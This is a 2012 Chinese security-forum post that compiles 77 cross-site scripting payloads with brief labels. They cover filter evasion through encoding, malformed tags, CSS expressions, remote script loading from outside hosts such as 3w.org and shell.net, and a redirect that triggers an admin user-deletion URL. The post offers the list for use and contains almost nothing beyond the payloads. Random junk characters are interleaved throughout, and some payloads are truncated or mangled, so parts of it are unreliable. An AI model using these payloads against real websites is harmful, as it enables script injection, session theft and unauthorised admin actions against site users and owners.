找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3735|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
- `: G& H* Z9 n5 [9 ?
9 D: ?- k+ {1 j* [ (1)普通的XSS JavaScript注入
9 \' S, G1 m2 Z; i! n3 i' W/ ~ <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>; {4 G2 p' W7 Q4 z3 t& A+ v
! b( b% f; M" i( ?/ w7 O! W, ?1 j
(2)IMG标签XSS使用JavaScript命令$ ]: v8 a" R5 J8 @
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>- K" h5 x5 {& r9 U! r- x

4 [. M3 |% d/ }+ u (3)IMG标签无分号无引号' c$ Z+ T4 U* ~9 T; |2 ]9 B
<IMG SRC=javascript:alert(‘XSS’)>" M! j4 b3 u2 L4 C& N9 R! U7 g$ S
; _+ k% K1 @4 J- D* m# I
(4)IMG标签大小写不敏感; m* w- Q7 S" y# a$ q
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
0 M/ q$ v0 S. r( O: K
/ Y% I% {) i: W) l7 X (5)HTML编码(必须有分号)
$ L9 ?0 R) B- `6 T; b <IMG SRC=javascript:alert(“XSS”)>- g% z) v1 y9 A" `5 Y

0 t! {+ O3 k' h. _/ F# I' K (6)修正缺陷IMG标签
) h) w  n& i' `. P% a% Q <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
8 P% L  V' w8 _9 r9 K- i* F) G* e9 W2 V* k2 q7 {) Y8 H
(7)formCharCode标签(计算器)
; C  |: \9 R% c. r) Q8 V+ ?! c <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
1 C* ~  v- U0 ]! @' C. n9 R2 s! R0 R8 Q. g+ v
(8)UTF-8的Unicode编码(计算器)8 Z1 z8 P+ w8 M- o& w5 k/ E
<IMG SRC=jav..省略..S')>9 c+ X6 e7 W# a! o: T6 ~

+ ]) a" `8 j' ~1 u  y& O3 r (9)7位的UTF-8的Unicode编码是没有分号的(计算器)( G3 v0 }9 Z% h0 K
<IMG SRC=jav..省略..S')>4 y1 x' P' _- I! G/ x

. N& {/ Q: a9 k4 S* F (10)十六进制编码也是没有分号(计算器); b4 C1 U! S; Y( B+ v) D% j7 g+ |' p
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
4 x! M- \- a* e+ _# Y  c# p
. O! z: F: C1 T7 e9 W3 W (11)嵌入式标签,将Javascript分开
  s- x' [; S2 d) v# L <IMG SRC=”jav ascript:alert(‘XSS’);”>" t' [8 N% E2 `% t8 d  p
3 f* g8 R3 _/ H
(12)嵌入式编码标签,将Javascript分开# }/ m! O" G+ X2 E! X& |2 f- s
<IMG SRC=”jav ascript:alert(‘XSS’);”>  o7 A4 {+ b- e

' Q1 ?+ D6 S+ x2 m: b/ v7 r, O7 u (13)嵌入式换行符
# r! ], q9 }; `9 N <IMG SRC=”jav ascript:alert(‘XSS’);”>
! ]* _( F, l6 V0 s9 _" t3 I: c2 t
! U. ~- i8 e  Q6 E! A6 Q9 \ (14)嵌入式回车
8 z, j( X# v0 p+ @1 k" U/ ` <IMG SRC=”jav ascript:alert(‘XSS’);”>
( y  N: k3 H0 H0 h5 g9 }% J( y' \* f8 y; y+ f' B* m1 m+ [8 [5 Q" D' P9 G
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
$ v6 ]2 {0 p: s3 A0 B2 c5 h <IMG SRC=”javascript:alert(‘XSS‘)”>
. m2 p+ Z% ^7 d2 X. ^( l# ]7 \  Q, Q) U7 l. b" v6 Z. ]
(16)解决限制字符(要求同页面)' j2 w  L: }7 _( Y1 D9 D
<script>z=’document.’</script>( k0 |3 o, f' R3 g  R$ r& ]* G( T3 W
<script>z=z+’write(“‘</script>
% t& [& W9 Z  q. e$ V <script>z=z+’<script’</script>; ]* B# {( k2 _  c! _5 }7 g8 V
<script>z=z+’ src=ht’</script>+ k" ]: m7 T) _) J
<script>z=z+’tp://ww’</script>" w) d) V; y0 b6 \
<script>z=z+’w.shell’</script>/ u* s8 O  r* U8 A
<script>z=z+’.net/1.’</script>
0 m* Q; _" S# [4 @2 ~! l* V  L <script>z=z+’js></sc’</script>* v: C( x. v& ]( H' C+ g
<script>z=z+’ript>”)’</script>; w1 [" T% \. `
<script>eval_r(z)</script>
9 U2 R8 v& v8 [8 e! q* a1 p1 f8 c6 W: @' I" [  [, r2 R$ G, n
(17)空字符  y. Q. W$ E/ h, i$ w# I
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
: I" a: L5 z; a7 o6 [# z4 O) g$ A
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
' M& P. L; H* w) W. `0 G perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out  T1 i1 L/ ?7 L: V7 i

: z% V6 ^, G6 X" }6 x; ]* s (19)Spaces和meta前的IMG标签
* K2 y0 C7 T( I; D: `. E3 U <IMG SRC=”   javascript:alert(‘XSS’);”>
9 n: b) M- v( t( u
0 `/ z% e# t. V  U, @ (20)Non-alpha-non-digit XSS1 K- l7 F5 A, \$ H, k' M* L1 @
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>% L) B) Y( y- }  ]2 M& @" O9 K
( U) i& T  h8 |; T5 f* g: _" N
(21)Non-alpha-non-digit XSS to 24 R0 J9 e$ [' S9 q4 M6 \
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>* h* p, y& U- i. |# |9 x4 P
' C) g: W. S! `7 i9 J
(22)Non-alpha-non-digit XSS to 34 s  ~- d0 Q5 m$ _
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
  S9 |6 O3 i3 m2 }8 |; G: _4 k7 g/ X' b& L  Y$ v1 v
(23)双开括号
: w2 x5 P8 _% R% W+ V <<SCRIPT>alert(“XSS”);//<</SCRIPT>& U+ U1 p( p5 V% ^" W2 B, a9 W+ o
$ l8 J1 J. [- l' a- r6 w
(24)无结束脚本标记(仅火狐等浏览器)
0 V" g9 T5 `& e+ d" f0 J <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
# L: t7 `+ m' w
+ I  W4 F3 B7 v7 H (25)无结束脚本标记2. Y$ o" r" Z1 u* R4 n& E
<SCRIPT SRC=//3w.org/XSS/xss.js>
4 \- T; [1 B; ?( g: P
; R9 g; p  Z8 K (26)半开的HTML/JavaScript XSS. }9 E$ O! @1 A* `$ U1 [: _0 n! _+ S1 o
<IMG SRC=”javascript:alert(‘XSS’)”
' q, i; c, g; j& `( p3 y& W0 ^- K% S6 {, U! n% D3 b/ l( k1 A, `; [
(27)双开角括号9 o; j( N! ^7 {1 c/ G6 i) V
<iframe src=http://3w.org/XSS.html <
; o9 z2 D' b4 L! ^0 b
( k7 `/ J- J0 x5 `% |0 x (28)无单引号 双引号 分号# N5 G" p2 i, ]7 @& _
<SCRIPT>a=/XSS/
5 {9 s7 @3 |5 c  p alert(a.source)</SCRIPT>! o' }! ?( u. S2 y" G4 _
" U; @9 r3 i  r' p/ P, b5 Y' I
(29)换码过滤的JavaScript6 Q! R8 ?7 n* {, u
\”;alert(‘XSS’);//6 X/ ]: R& e0 O2 K
% a" @2 Q  M( E( J
(30)结束Title标签5 j# B0 r7 V0 I
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>3 T) g, ]" |/ A. z* Y

. \+ E+ {  }# P- S9 U/ |6 \$ f (31)Input Image" U3 {" Y- S" u! L/ g+ F
<INPUT SRC=”javascript:alert(‘XSS’);”>
0 N- J: n  {' i3 U! v: |3 A
! P; E- p3 z) y3 J  W6 E/ U* v (32)BODY Image2 Z9 l  W8 t( t# r/ q+ }' Z( Y) N
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
  k4 @2 i! b3 f- G! C3 @# L; m  C7 D' Y
(33)BODY标签" j# A; O: `5 W2 O6 E5 |3 O! c
<BODY(‘XSS’)>
- e8 ^# S  r# O) q* @9 R) C* L# n% u+ c6 q( y
(34)IMG Dynsrc7 v8 @" Y$ f, u  d
<IMG DYNSRC=”javascript:alert(‘XSS’)”>* e4 T3 Z. W2 A& |4 S

, M, [" M. {/ J, u  r6 ^ (35)IMG Lowsrc* i7 g6 ]# l. T# }$ s0 b  ~% \  R
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
% z9 a% ^; A! c! S1 X6 G
# w7 b# d1 B1 H- u( B( g (36)BGSOUND
2 @! n  h% x* b) ? <BGSOUND SRC=”javascript:alert(‘XSS’);”>4 \2 N# W2 l" B2 i, l9 I7 j

6 ]3 v$ c2 F+ e) P$ k9 S5 Y- i (37)STYLE sheet; i! h+ Z- y: S0 w
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
7 a' W  T/ ]% Y+ W; ]( u. Z0 @6 q! }
(38)远程样式表. D0 Y  h5 Q7 @; x
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>1 k/ K! w9 p# K+ a9 C

$ R5 ?' ]% D6 n2 @* ] (39)List-style-image(列表式)
5 h) |& l, b/ Z  m8 G& c+ I7 G7 f <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
' [5 L+ T4 l: G# j" N% I2 N5 }# q8 \/ E8 N+ w& q
(40)IMG VBscript! H# F3 Z/ `: O2 J
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
$ C1 V: Q% b) ^% d( B! b) n% e. R6 O2 r4 k1 d$ S: h2 {
(41)META链接url2 h- d* u7 e6 H$ {9 [8 I/ q* c
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>6 Z% N" Q  U6 V* S% {
1 d# b# T2 {4 c' B  W6 W( c1 t, o
(42)Iframe1 `0 ?8 e& F. W, S! J& G# K9 |
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
4 {' w# Y% d9 t& @
7 d& i9 a$ x& N2 K# ~ (43)Frame5 o. O5 I8 O7 Y' c$ m; p# _
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
4 e$ _. N3 w3 v$ T2 U# r+ _% Y" [5 i) ]( n! S7 e0 C- M7 T
(44)Table
6 k5 _9 v7 r/ [: H <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>* R, p, ^. q5 Q2 y' O9 ?
3 }9 G8 d/ V1 p9 Y# i4 i
(45)TD. L% p' h/ W; Z% P0 k
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
7 R, \% {/ @) H' }
$ Z" q; P9 ], B# g4 Y) h (46)DIV background-image* p* l: x" ?, d" K
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>( `* x3 Q) ~( R/ ?
2 [# {1 f$ I; N# V. s' L3 i4 j5 s
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
2 C" G5 y2 ?* S! u0 I! b <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' b7 }) k: S: }" P9 F3 `) Y! J! }( b! V1 e
(48)DIV expression4 v6 U* o3 c6 \% a
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
: b; U. T2 [' x7 a: I3 {. l; n" o# g
(49)STYLE属性分拆表达
, y1 l% l; x7 ]/ F* M' l0 C" _. _ <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>& i: E6 m& E# a0 K  O! ?
8 S+ }+ n% w  o6 `' ]
(50)匿名STYLE(组成:开角号和一个字母开头)
2 q/ a$ G% ]! \" e% ^# ^ <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
2 l! U9 u% o7 S# J4 P( Q6 V/ b4 ^5 T7 f( Z0 ~% ~
(51)STYLE background-image9 |$ e$ R" v9 K
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>. e3 d5 \! c( `" g4 {$ F
1 u, i3 q" e6 s( a( t
(52)IMG STYLE方式
) _0 ?/ H# Z+ ~* D' n& J exppression(alert(“XSS”))’>
5 B# i! T7 z; X
( W1 X5 N: D4 I6 D8 Y2 ^" P (53)STYLE background
* q& q0 ?; Q7 ^& { <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
( a7 z" a) v# |! W- G% I
+ q3 F3 R0 I( Y/ w4 o (54)BASE
5 x$ G3 p: E7 X5 M <BASE HREF=”javascript:alert(‘XSS’);//”>5 R& Z  {% u- d+ ?4 g( t
' N" u" }3 q/ Q
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
: p( @; k$ e0 N/ ?, V <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
# j; G6 B# J! w( ~, Y
8 h/ J) ^: N2 {/ j  S4 K, R$ [4 J (56)在flash中使用ActionScrpt可以混进你XSS的代码
3 e/ w) ^6 Q, w3 U7 ] a=”get”;# J. Y& ^5 ?! P3 `" l9 G7 W+ S1 K3 x0 Z* G
b=”URL(\”";7 T* `9 n3 m& D7 S" @
c=”javascript:”;9 o1 t7 |4 C8 k- y$ ^
d=”alert(‘XSS’);\”)”;" \4 D2 W0 o2 L
eval_r(a+b+c+d);1 x/ }* S7 g- M  w2 p/ f$ j# W& o; c
: T. Z/ c1 d* ^  Z
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
" x, {( [0 ]8 t <HTML xmlns:xss>* m! ]0 B8 |; B' j# [+ |! h
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
! R3 V1 {! t! ^& X$ M: t- m <xss:xss>XSS</xss:xss>
' \/ E  [% b& j5 V, C </HTML>  ~5 o# v* w+ H7 `6 z5 d
' i9 q$ R: f: G8 n# J
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用5 G, `( U# v& |
<SCRIPT SRC=””></SCRIPT>
( u6 ~) f, T* D: Q
3 v7 Z/ u9 W$ E5 p& @+ c/ W! k( A" Z (59)IMG嵌入式命令,可执行任意命令0 K+ G: z- g6 Z  x1 q
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
. }$ D" w! r6 w! U
) Q( d9 F9 b! U4 L0 Z- N+ B (60)IMG嵌入式命令(a.jpg在同服务器)
- I" t; X- i6 o Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser) O' s8 K& s( D
0 j. Z$ K9 ^$ M' t# v
(61)绕符号过滤! {1 R0 j! N" B' o
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
) m) _( U7 J" `: W9 i+ }4 Y- D2 O2 d1 a) a# d9 M( f3 y+ W
(62)$ h1 E5 m- y) D
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 l) |" L( T# S- D& u9 ?1 [- [
6 X+ q% ~2 a2 M$ Y
(63)
5 o' E( I8 ~# E7 O: P6 H- T. b. K& o <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
5 x1 M' Q: y1 {5 m' {3 \1 N/ a9 a! J
(64)' x) F/ a: R' l- k
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
7 I/ [0 ~7 F+ X( I* p. Q
8 V( g( k- c+ _$ C7 F) _+ E' g (65)
0 q4 e4 x3 Q3 [* | <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>" s. u7 }% ^) F$ @

) h7 Z4 n4 n/ L1 L# R (66)
5 }$ ^1 P2 g" d  p) s" Q$ P0 \ <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ n* y" G1 ^' |' h1 _: a/ ~0 e9 J, m' L( \6 i
(67)' w( B( l8 ^. X3 K2 z9 P
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
  r; W5 l2 m; B. i7 k$ _0 [; R. [4 P5 M. B2 x" H, ]/ D  Z
(68)URL绕行8 h( u# C0 l' z# r0 e) y
<A HREF=”http://127.0.0.1/”>XSS</A># l# y: e$ q7 [" O4 [

9 {# k! l' e* e" w4 O% o (69)URL编码- v' r1 u, X9 _0 z
<A HREF=”http://3w.org”>XSS</A>
* D6 K, r3 Z3 l2 }) F+ J* `- a
' J* h3 ?: `' j (70)IP十进制+ H' g$ S, P  U& r" e, D2 A
<A HREF=”http://3232235521″>XSS</A>, {. P, e" E" Q1 M  y
. p/ T1 Q' E3 h5 D; G
(71)IP十六进制4 |' z) O  D* C! r3 j. s* U
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
$ [6 H8 Q1 |6 K! ?9 ~
6 Q# J8 v. v( @1 @& ] (72)IP八进制
$ W" Q& F6 [& y1 y8 p$ f$ U& O  D <A HREF=”http://0300.0250.0000.0001″>XSS</A>8 N2 o- B# z6 }1 E2 D* Z! F9 o
" ?, r: `6 z4 b' v
(73)混合编码
7 \2 ?5 P8 R" _- d <A HREF=”h
7 R. d2 Y" ~0 L1 w tt p://6 6.000146.0×7.147/”">XSS</A>
5 R1 ^! |# H; s
* D# D1 R, {8 c: Y (74)节省[http:]
$ U8 w, `& I' y; z3 _1 }# c5 r <A HREF=”//www.google.com/”>XSS</A>! o0 W' [0 G# s# {
, h1 X' g* P/ o2 Y& P
(75)节省[www]7 u* U5 x  d3 P( H7 G9 _
<A HREF=”http://google.com/”>XSS</A>
0 z. T( v1 c1 P; C8 ~" b+ R* _7 M+ }8 s2 ]! w, i* Y! M, u" D  N
(76)绝对点绝对DNS( ]0 h9 j/ |! L2 t" f, e' s, p
<A HREF=”http://www.google.com./”>XSS</A>
/ N3 h6 Y: O. Y6 U, x0 L4 _; d4 ?; f+ L8 x; [. @9 H
(77)javascript链接3 d8 _4 u6 c; m& ^' s+ r, }% N
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表